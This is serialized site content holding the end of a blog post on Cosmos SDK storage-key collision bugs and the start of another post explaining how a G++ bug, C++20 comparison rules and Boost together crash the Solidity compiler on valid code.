g":168,"props":86642,"children":86643},{"style":212},[86644],{"type":24,"value":12778},{"type":19,"tag":168,"props":86646,"children":86647},{"style":393},[86648],{"type":24,"value":86649},"iterator",{"type":19,"tag":168,"props":86651,"children":86652},{"style":212},[86653],{"type":24,"value":948},{"type":19,"tag":168,"props":86655,"children":86656},{"style":175},[86657],{"type":24,"value":86658},"Value",{"type":19,"tag":168,"props":86660,"children":86661},{"style":212},[86662],{"type":24,"value":898},{"type":19,"tag":168,"props":86664,"children":86665},{"class":170,"line":6655},[86666],{"type":19,"tag":168,"props":86667,"children":86668},{"style":212},[86669],{"type":24,"value":752},{"type":19,"tag":168,"props":86671,"children":86672},{"class":170,"line":20965},[86673],{"type":19,"tag":168,"props":86674,"children":86675},{"style":212},[86676],{"type":24,"value":761},{"type":19,"tag":168,"props":86678,"children":86679},{"class":170,"line":21000},[86680,86684],{"type":19,"tag":168,"props":86681,"children":86682},{"style":419},[86683],{"type":24,"value":14438},{"type":19,"tag":168,"props":86685,"children":86686},{"style":393},[86687],{"type":24,"value":86688}," values\n",{"type":19,"tag":168,"props":86690,"children":86691},{"class":170,"line":21008},[86692],{"type":19,"tag":168,"props":86693,"children":86694},{"style":212},[86695],{"type":24,"value":1326},{"type":19,"tag":20,"props":86697,"children":86698},{},[86699,86701,86707,86708,86714,86716,86721,86723,86728,86730,86735,86737,86743,86745,86751],{"type":24,"value":86700},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":19,"tag":27,"props":86702,"children":86704},{"className":86703},[],[86705],{"type":24,"value":86706},"vaultId = 1",{"type":24,"value":8436},{"type":19,"tag":27,"props":86709,"children":86711},{"className":86710},[],[86712],{"type":24,"value":86713},"vaultId = 10",{"type":24,"value":86715}," coexist. If we try to fetch data under ",{"type":19,"tag":27,"props":86717,"children":86719},{"className":86718},[],[86720],{"type":24,"value":86706},{"type":24,"value":86722},", all entries under ",{"type":19,"tag":27,"props":86724,"children":86726},{"className":86725},[],[86727],{"type":24,"value":86713},{"type":24,"value":86729}," will also be returned simply because ",{"type":19,"tag":27,"props":86731,"children":86733},{"className":86732},[],[86734],{"type":24,"value":1442},{"type":24,"value":86736}," is a prefix of ",{"type":19,"tag":27,"props":86738,"children":86740},{"className":86739},[],[86741],{"type":24,"value":86742},"10",{"type":24,"value":86744},". To fix this, we must once again append the ",{"type":19,"tag":27,"props":86746,"children":86748},{"className":86747},[],[86749],{"type":24,"value":86750},"Separator",{"type":24,"value":86752}," to the iterator prefix.",{"type":19,"tag":158,"props":86754,"children":86756},{"code":86755,"language":73653,"meta":7,"className":73654,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[86757],{"type":19,"tag":27,"props":86758,"children":86759},{"__ignoreMap":7},[86760,86787,86799,86852],{"type":19,"tag":168,"props":86761,"children":86762},{"class":170,"line":171},[86763,86767,86771,86775,86779,86783],{"type":19,"tag":168,"props":86764,"children":86765},{"style":393},[86766],{"type":24,"value":1157},{"type":19,"tag":168,"props":86768,"children":86769},{"style":399},[86770],{"type":24,"value":73905},{"type":19,"tag":168,"props":86772,"children":86773},{"style":393},[86774],{"type":24,"value":76130},{"type":19,"tag":168,"props":86776,"children":86777},{"style":212},[86778],{"type":24,"value":948},{"type":19,"tag":168,"props":86780,"children":86781},{"style":175},[86782],{"type":24,"value":85945},{"type":19,"tag":168,"props":86784,"children":86785},{"style":212},[86786],{"type":24,"value":870},{"type":19,"tag":168,"props":86788,"children":86789},{"class":170,"line":198},[86790,86795],{"type":19,"tag":168,"props":86791,"children":86792},{"style":393},[86793],{"type":24,"value":86794}," kvStore",{"type":19,"tag":168,"props":86796,"children":86797},{"style":212},[86798],{"type":24,"value":915},{"type":19,"tag":168,"props":86800,"children":86801},{"class":170,"line":415},[86802,86807,86811,86815,86819,86824,86828,86832,86836,86840,86844,86848],{"type":19,"tag":168,"props":86803,"children":86804},{"style":393},[86805],{"type":24,"value":86806}," fmt",{"type":19,"tag":168,"props":86808,"children":86809},{"style":212},[86810],{"type":24,"value":948},{"type":19,"tag":168,"props":86812,"children":86813},{"style":175},[86814],{"type":24,"value":82712},{"type":19,"tag":168,"props":86816,"children":86817},{"style":212},[86818],{"type":24,"value":500},{"type":19,"tag":168,"props":86820,"children":86821},{"style":181},[86822],{"type":24,"value":86823},"\"%s%d%s\"",{"type":19,"tag":168,"props":86825,"children":86826},{"style":212},[86827],{"type":24,"value":471},{"type":19,"tag":168,"props":86829,"children":86830},{"style":393},[86831],{"type":24,"value":85995},{"type":19,"tag":168,"props":86833,"children":86834},{"style":212},[86835],{"type":24,"value":471},{"type":19,"tag":168,"props":86837,"children":86838},{"style":393},[86839],{"type":24,"value":85780},{"type":19,"tag":168,"props":86841,"children":86842},{"style":212},[86843],{"type":24,"value":471},{"type":19,"tag":168,"props":86845,"children":86846},{"style":393},[86847],{"type":24,"value":86111},{"type":19,"tag":168,"props":86849,"children":86850},{"style":212},[86851],{"type":24,"value":4172},{"type":19,"tag":168,"props":86853,"children":86854},{"class":170,"line":450},[86855],{"type":19,"tag":168,"props":86856,"children":86857},{"style":212},[86858],{"type":24,"value":557},{"type":19,"tag":20,"props":86860,"children":86861},{},[86862,86864,86869],{"type":24,"value":86863},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":19,"tag":27,"props":86865,"children":86867},{"className":86866},[],[86868],{"type":24,"value":82466},{"type":24,"value":86870}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":19,"tag":20,"props":86872,"children":86873},{},[86874],{"type":24,"value":86875},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":19,"tag":7050,"props":86877,"children":86879},{"id":86878},"real-world-examples-5",[86880],{"type":24,"value":74178},{"type":19,"tag":20,"props":86882,"children":86883},{},[86884,86885,86890,86892,86899,86901,86907],{"type":24,"value":14062},{"type":19,"tag":27,"props":86886,"children":86888},{"className":86887},[],[86889],{"type":24,"value":75951},{"type":24,"value":86891}," previously lacked protection against KVStore ",{"type":19,"tag":269,"props":86893,"children":86896},{"href":86894,"rel":86895},"https://github.com/cosmos/cosmos-sdk/pull/9363",[273],[86897],{"type":24,"value":86898},"key collisions",{"type":24,"value":86900},". This prior oversight allowed developers to unintentionally create two ",{"type":19,"tag":27,"props":86902,"children":86904},{"className":86903},[],[86905],{"type":24,"value":86906},"KVStores",{"type":24,"value":86908}," that were not independent of each other.",{"type":19,"tag":20,"props":86910,"children":86911},{},[86912],{"type":19,"tag":269,"props":86913,"children":86916},{"href":86914,"rel":86915},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[273],[86917],{"type":24,"value":74228},{"type":19,"tag":158,"props":86919,"children":86921},{"code":86920,"language":73653,"meta":7,"className":73654,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[86922],{"type":19,"tag":27,"props":86923,"children":86924},{"__ignoreMap":7},[86925,86987,87035,87071,87111,87118,87125,87137],{"type":19,"tag":168,"props":86926,"children":86927},{"class":170,"line":171},[86928,86932,86937,86941,86946,86950,86954,86958,86962,86966,86970,86974,86978,86983],{"type":19,"tag":168,"props":86929,"children":86930},{"style":382},[86931],{"type":24,"value":73789},{"type":19,"tag":168,"props":86933,"children":86934},{"style":175},[86935],{"type":24,"value":86936}," NewKVStoreKeys",{"type":19,"tag":168,"props":86938,"children":86939},{"style":212},[86940],{"type":24,"value":500},{"type":19,"tag":168,"props":86942,"children":86943},{"style":393},[86944],{"type":24,"value":86945},"names",{"type":19,"tag":168,"props":86947,"children":86948},{"style":399},[86949],{"type":24,"value":22767},{"type":19,"tag":168,"props":86951,"children":86952},{"style":825},[86953],{"type":24,"value":27137},{"type":19,"tag":168,"props":86955,"children":86956},{"style":212},[86957],{"type":24,"value":481},{"type":19,"tag":168,"props":86959,"children":86960},{"style":382},[86961],{"type":24,"value":64588},{"type":19,"tag":168,"props":86963,"children":86964},{"style":212},[86965],{"type":24,"value":1152},{"type":19,"tag":168,"props":86967,"children":86968},{"style":825},[86969],{"type":24,"value":27137},{"type":19,"tag":168,"props":86971,"children":86972},{"style":212},[86973],{"type":24,"value":12858},{"type":19,"tag":168,"props":86975,"children":86976},{"style":399},[86977],{"type":24,"value":2002},{"type":19,"tag":168,"props":86979,"children":86980},{"style":825},[86981],{"type":24,"value":86982},"KVStoreKey",{"type":19,"tag":168,"props":86984,"children":86985},{"style":212},[86986],{"type":24,"value":691},{"type":19,"tag":168,"props":86988,"children":86989},{"class":170,"line":198},[86990,86995,86999,87003,87007,87011,87015,87019,87023,87027,87031],{"type":19,"tag":168,"props":86991,"children":86992},{"style":393},[86993],{"type":24,"value":86994}," keys",{"type":19,"tag":168,"props":86996,"children":86997},{"style":399},[86998],{"type":24,"value":73905},{"type":19,"tag":168,"props":87000,"children":87001},{"style":175},[87002],{"type":24,"value":83053},{"type":19,"tag":168,"props":87004,"children":87005},{"style":212},[87006],{"type":24,"value":500},{"type":19,"tag":168,"props":87008,"children":87009},{"style":382},[87010],{"type":24,"value":64588},{"type":19,"tag":168,"props":87012,"children":87013},{"style":212},[87014],{"type":24,"value":1152},{"type":19,"tag":168,"props":87016,"children":87017},{"style":825},[87018],{"type":24,"value":27137},{"type":19,"tag":168,"props":87020,"children":87021},{"style":212},[87022],{"type":24,"value":12858},{"type":19,"tag":168,"props":87024,"children":87025},{"style":399},[87026],{"type":24,"value":2002},{"type":19,"tag":168,"props":87028,"children":87029},{"style":825},[87030],{"type":24,"value":86982},{"type":19,"tag":168,"props":87032,"children":87033},{"style":212},[87034],{"type":24,"value":557},{"type":19,"tag":168,"props":87036,"children":87037},{"class":170,"line":415},[87038,87042,87046,87050,87054,87058,87062,87067],{"type":19,"tag":168,"props":87039,"children":87040},{"style":419},[87041],{"type":24,"value":422},{"type":19,"tag":168,"props":87043,"children":87044},{"style":393},[87045],{"type":24,"value":427},{"type":19,"tag":168,"props":87047,"children":87048},{"style":212},[87049],{"type":24,"value":471},{"type":19,"tag":168,"props":87051,"children":87052},{"style":393},[87053],{"type":24,"value":45980},{"type":19,"tag":168,"props":87055,"children":87056},{"style":399},[87057],{"type":24,"value":73905},{"type":19,"tag":168,"props":87059,"children":87060},{"style":419},[87061],{"type":24,"value":74888},{"type":19,"tag":168,"props":87063,"children":87064},{"style":393},[87065],{"type":24,"value":87066}," names",{"type":19,"tag":168,"props":87068,"children":87069},{"style":212},[87070],{"type":24,"value":691},{"type":19,"tag":168,"props":87072,"children":87073},{"class":170,"line":450},[87074,87078,87082,87086,87090,87094,87099,87103,87107],{"type":19,"tag":168,"props":87075,"children":87076},{"style":393},[87077],{"type":24,"value":22799},{"type":19,"tag":168,"props":87079,"children":87080},{"style":212},[87081],{"type":24,"value":1152},{"type":19,"tag":168,"props":87083,"children":87084},{"style":393},[87085],{"type":24,"value":45980},{"type":19,"tag":168,"props":87087,"children":87088},{"style":212},[87089],{"type":24,"value":6099},{"type":19,"tag":168,"props":87091,"children":87092},{"style":399},[87093],{"type":24,"value":486},{"type":19,"tag":168,"props":87095,"children":87096},{"style":175},[87097],{"type":24,"value":87098}," NewKVStoreKey",{"type":19,"tag":168,"props":87100,"children":87101},{"style":212},[87102],{"type":24,"value":500},{"type":19,"tag":168,"props":87104,"children":87105},{"style":393},[87106],{"type":24,"value":45980},{"type":19,"tag":168,"props":87108,"children":87109},{"style":212},[87110],{"type":24,"value":557},{"type":19,"tag":168,"props":87112,"children":87113},{"class":170,"line":560},[87114],{"type":19,"tag":168,"props":87115,"children":87116},{"style":212},[87117],{"type":24,"value":761},{"type":19,"tag":168,"props":87119,"children":87120},{"class":170,"line":666},[87121],{"type":19,"tag":168,"props":87122,"children":87123},{"emptyLinePlaceholder":14},[87124],{"type":24,"value":1093},{"type":19,"tag":168,"props":87126,"children":87127},{"class":170,"line":694},[87128,87132],{"type":19,"tag":168,"props":87129,"children":87130},{"style":419},[87131],{"type":24,"value":14438},{"type":19,"tag":168,"props":87133,"children":87134},{"style":393},[87135],{"type":24,"value":87136}," keys\n",{"type":19,"tag":168,"props":87138,"children":87139},{"class":170,"line":707},[87140],{"type":19,"tag":168,"props":87141,"children":87142},{"style":212},[87143],{"type":24,"value":1326},{"type":19,"tag":20,"props":87145,"children":87146},{},[87147,87149,87154,87156,87161,87163,87168],{"type":24,"value":87148},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":19,"tag":27,"props":87150,"children":87152},{"className":87151},[],[87153],{"type":24,"value":75951},{"type":24,"value":87155}," will refuse to run if any ",{"type":19,"tag":27,"props":87157,"children":87159},{"className":87158},[],[87160],{"type":24,"value":82466},{"type":24,"value":87162}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":19,"tag":27,"props":87164,"children":87166},{"className":87165},[],[87167],{"type":24,"value":82466},{"type":24,"value":87169}," level.",{"type":19,"tag":20,"props":87171,"children":87172},{},[87173,87175,87182],{"type":24,"value":87174},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":19,"tag":269,"props":87176,"children":87179},{"href":87177,"rel":87178},"https://github.com/cosmos/cosmos-sdk/issues/12661",[273],[87180],{"type":24,"value":87181},"incorrect iterator behavior",{"type":24,"value":948},{"type":19,"tag":20,"props":87184,"children":87185},{},[87186,87188,87195],{"type":24,"value":87187},"Notably, gradual adoption of the ",{"type":19,"tag":269,"props":87189,"children":87192},{"href":87190,"rel":87191},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[273],[87193],{"type":24,"value":87194},"collections",{"type":24,"value":87196}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":19,"tag":36,"props":87198,"children":87199},{"id":26402},[87200],{"type":24,"value":16400},{"type":19,"tag":20,"props":87202,"children":87203},{},[87204],{"type":24,"value":87205},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":19,"tag":20,"props":87207,"children":87208},{},[87209],{"type":24,"value":87210},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":19,"tag":232,"props":87212,"children":87213},{},[87214],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":87216},[87217,87218,87221,87224,87227,87230,87233,87236],{"id":26485,"depth":198,"text":26488},{"id":73370,"depth":198,"text":73373,"children":87219},[87220],{"id":74175,"depth":415,"text":74178},{"id":74771,"depth":198,"text":74774,"children":87222},[87223],{"id":75420,"depth":415,"text":74178},{"id":75917,"depth":198,"text":75920,"children":87225},[87226],{"id":77217,"depth":415,"text":74178},{"id":78561,"depth":198,"text":78564,"children":87228},[87229],{"id":79099,"depth":415,"text":74178},{"id":80618,"depth":198,"text":80621,"children":87231},[87232],{"id":81498,"depth":415,"text":74178},{"id":82452,"depth":198,"text":82455,"children":87234},[87235],{"id":86878,"depth":415,"text":74178},{"id":26402,"depth":198,"text":16400},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":87241,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":87242,"description":87243,"author":87244,"image":87245,"date":87247,"tags":87248,"isFeatured":14,"onBlogPage":14,"body":87249,"_type":242,"_id":89957,"_source":244,"_file":89958,"_stem":89959,"_extension":247},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":87246,"height":11069,"width":11069},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[1904,26480],{"type":16,"children":87250,"toc":89941},[87251,87256,87393,87398,87403,87408,87413,87526,87531,87536,87541,87581,87594,87599,87617,87622,87625,87631,87645,87658,87663,87676,87681,87693,87706,87711,87714,87720,87726,87783,87788,87794,87808,87843,87851,87859,87879,87885,87890,88330,88338,88381,88386,88394,88402,88441,88446,88454,88459,88462,88468,88474,88499,88511,88538,88571,88576,88579,88585,88604,89122,89135,89153,89176,89187,89192,89295,89300,89305,89319,89324,89400,89418,89423,89426,89432,89444,89456,89796,89801,89819,89824,89827,89833,89838,89856,89876,89879,89885,89904,89907,89911,89916,89927,89932,89937],{"type":19,"tag":20,"props":87252,"children":87253},{},[87254],{"type":24,"value":87255},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":19,"tag":158,"props":87257,"children":87259},{"code":87258,"language":1904,"meta":7,"className":1905,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[87260],{"type":19,"tag":27,"props":87261,"children":87262},{"__ignoreMap":7},[87263,87271,87289,87296,87313,87355,87379,87386],{"type":19,"tag":168,"props":87264,"children":87265},{"class":170,"line":171},[87266],{"type":19,"tag":168,"props":87267,"children":87268},{"style":373},[87269],{"type":24,"value":87270},"// SPDX-License-Identifier: UNLICENSED\n",{"type":19,"tag":168,"props":87272,"children":87273},{"class":170,"line":198},[87274,87279,87284],{"type":19,"tag":168,"props":87275,"children":87276},{"style":419},[87277],{"type":24,"value":87278},"pragma",{"type":19,"tag":168,"props":87280,"children":87281},{"style":382},[87282],{"type":24,"value":87283}," solidity",{"type":19,"tag":168,"props":87285,"children":87286},{"style":212},[87287],{"type":24,"value":87288}," ^0.8.25;\n",{"type":19,"tag":168,"props":87290,"children":87291},{"class":170,"line":415},[87292],{"type":19,"tag":168,"props":87293,"children":87294},{"emptyLinePlaceholder":14},[87295],{"type":24,"value":1093},{"type":19,"tag":168,"props":87297,"children":87298},{"class":170,"line":450},[87299,87304,87309],{"type":19,"tag":168,"props":87300,"children":87301},{"style":382},[87302],{"type":24,"value":87303},"contract",{"type":19,"tag":168,"props":87305,"children":87306},{"style":825},[87307],{"type":24,"value":87308}," A",{"type":19,"tag":168,"props":87310,"children":87311},{"style":212},[87312],{"type":24,"value":691},{"type":19,"tag":168,"props":87314,"children":87315},{"class":170,"line":560},[87316,87321,87326,87330,87334,87339,87343,87347,87351],{"type":19,"tag":168,"props":87317,"children":87318},{"style":382},[87319],{"type":24,"value":87320}," function",{"type":19,"tag":168,"props":87322,"children":87323},{"style":175},[87324],{"type":24,"value":87325}," a",{"type":19,"tag":168,"props":87327,"children":87328},{"style":212},[87329],{"type":24,"value":11489},{"type":19,"tag":168,"props":87331,"children":87332},{"style":382},[87333],{"type":24,"value":59160},{"type":19,"tag":168,"props":87335,"children":87336},{"style":382},[87337],{"type":24,"value":87338}," pure",{"type":19,"tag":168,"props":87340,"children":87341},{"style":419},[87342],{"type":24,"value":73482},{"type":19,"tag":168,"props":87344,"children":87345},{"style":212},[87346],{"type":24,"value":461},{"type":19,"tag":168,"props":87348,"children":87349},{"style":825},[87350],{"type":24,"value":43649},{"type":19,"tag":168,"props":87352,"children":87353},{"style":212},[87354],{"type":24,"value":12250},{"type":19,"tag":168,"props":87356,"children":87357},{"class":170,"line":666},[87358,87362,87366,87371,87375],{"type":19,"tag":168,"props":87359,"children":87360},{"style":419},[87361],{"type":24,"value":13192},{"type":19,"tag":168,"props":87363,"children":87364},{"style":192},[87365],{"type":24,"value":1954},{"type":19,"tag":168,"props":87367,"children":87368},{"style":399},[87369],{"type":24,"value":87370}," **",{"type":19,"tag":168,"props":87372,"children":87373},{"style":192},[87374],{"type":24,"value":5371},{"type":19,"tag":168,"props":87376,"children":87377},{"style":212},[87378],{"type":24,"value":412},{"type":19,"tag":168,"props":87380,"children":87381},{"class":170,"line":694},[87382],{"type":19,"tag":168,"props":87383,"children":87384},{"style":212},[87385],{"type":24,"value":761},{"type":19,"tag":168,"props":87387,"children":87388},{"class":170,"line":707},[87389],{"type":19,"tag":168,"props":87390,"children":87391},{"style":212},[87392],{"type":24,"value":1326},{"type":19,"tag":20,"props":87394,"children":87395},{},[87396],{"type":24,"value":87397},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":19,"tag":20,"props":87399,"children":87400},{},[87401],{"type":24,"value":87402},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":19,"tag":20,"props":87404,"children":87405},{},[87406],{"type":24,"value":87407},"And yet, it crashes.",{"type":19,"tag":20,"props":87409,"children":87410},{},[87411],{"type":24,"value":87412},"Another minimal example?",{"type":19,"tag":158,"props":87414,"children":87416},{"code":87415,"language":1904,"meta":7,"className":1905,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[87417],{"type":19,"tag":27,"props":87418,"children":87419},{"__ignoreMap":7},[87420,87427,87442,87449,87464,87491,87512,87519],{"type":19,"tag":168,"props":87421,"children":87422},{"class":170,"line":171},[87423],{"type":19,"tag":168,"props":87424,"children":87425},{"style":373},[87426],{"type":24,"value":87270},{"type":19,"tag":168,"props":87428,"children":87429},{"class":170,"line":198},[87430,87434,87438],{"type":19,"tag":168,"props":87431,"children":87432},{"style":419},[87433],{"type":24,"value":87278},{"type":19,"tag":168,"props":87435,"children":87436},{"style":382},[87437],{"type":24,"value":87283},{"type":19,"tag":168,"props":87439,"children":87440},{"style":212},[87441],{"type":24,"value":87288},{"type":19,"tag":168,"props":87443,"children":87444},{"class":170,"line":415},[87445],{"type":19,"tag":168,"props":87446,"children":87447},{"emptyLinePlaceholder":14},[87448],{"type":24,"value":1093},{"type":19,"tag":168,"props":87450,"children":87451},{"class":170,"line":450},[87452,87456,87460],{"type":19,"tag":168,"props":87453,"children":87454},{"style":382},[87455],{"type":24,"value":87303},{"type":19,"tag":168,"props":87457,"children":87458},{"style":825},[87459],{"type":24,"value":87308},{"type":19,"tag":168,"props":87461,"children":87462},{"style":212},[87463],{"type":24,"value":691},{"type":19,"tag":168,"props":87465,"children":87466},{"class":170,"line":560},[87467,87471,87475,87479,87483,87487],{"type":19,"tag":168,"props":87468,"children":87469},{"style":382},[87470],{"type":24,"value":87320},{"type":19,"tag":168,"props":87472,"children":87473},{"style":175},[87474],{"type":24,"value":87325},{"type":19,"tag":168,"props":87476,"children":87477},{"style":212},[87478],{"type":24,"value":11489},{"type":19,"tag":168,"props":87480,"children":87481},{"style":382},[87482],{"type":24,"value":59160},{"type":19,"tag":168,"props":87484,"children":87485},{"style":382},[87486],{"type":24,"value":87338},{"type":19,"tag":168,"props":87488,"children":87489},{"style":212},[87490],{"type":24,"value":691},{"type":19,"tag":168,"props":87492,"children":87493},{"class":170,"line":666},[87494,87499,87503,87507],{"type":19,"tag":168,"props":87495,"children":87496},{"style":825},[87497],{"type":24,"value":87498}," uint256",{"type":19,"tag":168,"props":87500,"children":87501},{"style":212},[87502],{"type":24,"value":1152},{"type":19,"tag":168,"props":87504,"children":87505},{"style":192},[87506],{"type":24,"value":1442},{"type":19,"tag":168,"props":87508,"children":87509},{"style":212},[87510],{"type":24,"value":87511},"] data;\n",{"type":19,"tag":168,"props":87513,"children":87514},{"class":170,"line":694},[87515],{"type":19,"tag":168,"props":87516,"children":87517},{"style":212},[87518],{"type":24,"value":761},{"type":19,"tag":168,"props":87520,"children":87521},{"class":170,"line":707},[87522],{"type":19,"tag":168,"props":87523,"children":87524},{"style":212},[87525],{"type":24,"value":1326},{"type":19,"tag":20,"props":87527,"children":87528},{},[87529],{"type":24,"value":87530},"Still crashes.",{"type":19,"tag":20,"props":87532,"children":87533},{},[87534],{"type":24,"value":87535},"So what’s going on?",{"type":19,"tag":20,"props":87537,"children":87538},{},[87539],{"type":24,"value":87540},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":19,"tag":158,"props":87542,"children":87544},{"code":87543,"language":26582,"meta":7,"className":26580,"style":7},"if (*lengthValue == 0) { ... }\n",[87545],{"type":19,"tag":27,"props":87546,"children":87547},{"__ignoreMap":7},[87548],{"type":19,"tag":168,"props":87549,"children":87550},{"class":170,"line":171},[87551,87555,87559,87563,87568,87572,87576],{"type":19,"tag":168,"props":87552,"children":87553},{"style":419},[87554],{"type":24,"value":13027},{"type":19,"tag":168,"props":87556,"children":87557},{"style":212},[87558],{"type":24,"value":461},{"type":19,"tag":168,"props":87560,"children":87561},{"style":399},[87562],{"type":24,"value":2002},{"type":19,"tag":168,"props":87564,"children":87565},{"style":212},[87566],{"type":24,"value":87567},"lengthValue ",{"type":19,"tag":168,"props":87569,"children":87570},{"style":399},[87571],{"type":24,"value":6013},{"type":19,"tag":168,"props":87573,"children":87574},{"style":192},[87575],{"type":24,"value":437},{"type":19,"tag":168,"props":87577,"children":87578},{"style":212},[87579],{"type":24,"value":87580},") { ... }\n",{"type":19,"tag":20,"props":87582,"children":87583},{},[87584,87586,87592],{"type":24,"value":87585},"That single comparison — a ",{"type":19,"tag":27,"props":87587,"children":87589},{"className":87588},[],[87590],{"type":24,"value":87591},"boost::rational",{"type":24,"value":87593}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":19,"tag":20,"props":87595,"children":87596},{},[87597],{"type":24,"value":87598},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":19,"tag":43,"props":87600,"children":87601},{},[87602,87607,87612],{"type":19,"tag":47,"props":87603,"children":87604},{},[87605],{"type":24,"value":87606},"A 12-year-old overload resolution bug in G++",{"type":19,"tag":47,"props":87608,"children":87609},{},[87610],{"type":24,"value":87611},"An outdated symmetric comparison pattern in Boost",{"type":19,"tag":47,"props":87613,"children":87614},{},[87615],{"type":24,"value":87616},"A subtle but impactful rewrite rule in C++20",{"type":19,"tag":20,"props":87618,"children":87619},{},[87620],{"type":24,"value":87621},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":19,"tag":16245,"props":87623,"children":87624},{},[],{"type":19,"tag":36,"props":87626,"children":87628},{"id":87627},"background-the-setup",[87629],{"type":24,"value":87630},"Background: The Setup",{"type":19,"tag":20,"props":87632,"children":87633},{},[87634,87636,87643],{"type":24,"value":87635},"If you follow the ",{"type":19,"tag":269,"props":87637,"children":87640},{"href":87638,"rel":87639},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[273],[87641],{"type":24,"value":87642},"Solidity build documentation (v0.8.30)",{"type":24,"value":87644},", you'll see it recommends:",{"type":19,"tag":43,"props":87646,"children":87647},{},[87648,87653],{"type":19,"tag":47,"props":87649,"children":87650},{},[87651],{"type":24,"value":87652},"Boost ≥ 1.67",{"type":19,"tag":47,"props":87654,"children":87655},{},[87656],{"type":24,"value":87657},"GCC ≥ 11",{"type":19,"tag":20,"props":87659,"children":87660},{},[87661],{"type":24,"value":87662},"Ubuntu 22.04, for example, ships with:",{"type":19,"tag":43,"props":87664,"children":87665},{},[87666,87671],{"type":19,"tag":47,"props":87667,"children":87668},{},[87669],{"type":24,"value":87670},"G++ 11.4.0",{"type":19,"tag":47,"props":87672,"children":87673},{},[87674],{"type":24,"value":87675},"Boost 1.74.0",{"type":19,"tag":20,"props":87677,"children":87678},{},[87679],{"type":24,"value":87680},"So far, so good.",{"type":19,"tag":20,"props":87682,"children":87683},{},[87684,87686,87691],{"type":24,"value":87685},"However, Solidity enabled ",{"type":19,"tag":51,"props":87687,"children":87688},{},[87689],{"type":24,"value":87690},"C++20",{"type":24,"value":87692}," in January 2025:",{"type":19,"tag":315,"props":87694,"children":87695},{},[87696],{"type":19,"tag":20,"props":87697,"children":87698},{},[87699],{"type":19,"tag":269,"props":87700,"children":87703},{"href":87701,"rel":87702},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[273],[87704],{"type":24,"value":87705},"Enable C++20 in Solidity",{"type":19,"tag":20,"props":87707,"children":87708},{},[87709],{"type":24,"value":87710},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":19,"tag":16245,"props":87712,"children":87713},{},[],{"type":19,"tag":36,"props":87715,"children":87717},{"id":87716},"part-i-a-12-year-old-g-bug-in-overload-resolution",[87718],{"type":24,"value":87719},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":19,"tag":7050,"props":87721,"children":87723},{"id":87722},"whats-overload-resolution",[87724],{"type":24,"value":87725},"What’s Overload Resolution?",{"type":19,"tag":20,"props":87727,"children":87728},{},[87729,87731,87737,87739,87745,87747,87752,87754,87759,87761,87767,87769,87774,87775,87781],{"type":24,"value":87730},"In C++, when you write an expression like ",{"type":19,"tag":27,"props":87732,"children":87734},{"className":87733},[],[87735],{"type":24,"value":87736},"a == b",{"type":24,"value":87738},", the compiler chooses among available ",{"type":19,"tag":27,"props":87740,"children":87742},{"className":87741},[],[87743],{"type":24,"value":87744},"operator==",{"type":24,"value":87746}," implementations by comparing their ",{"type":19,"tag":51,"props":87748,"children":87749},{},[87750],{"type":24,"value":87751},"match quality",{"type":24,"value":87753},". A 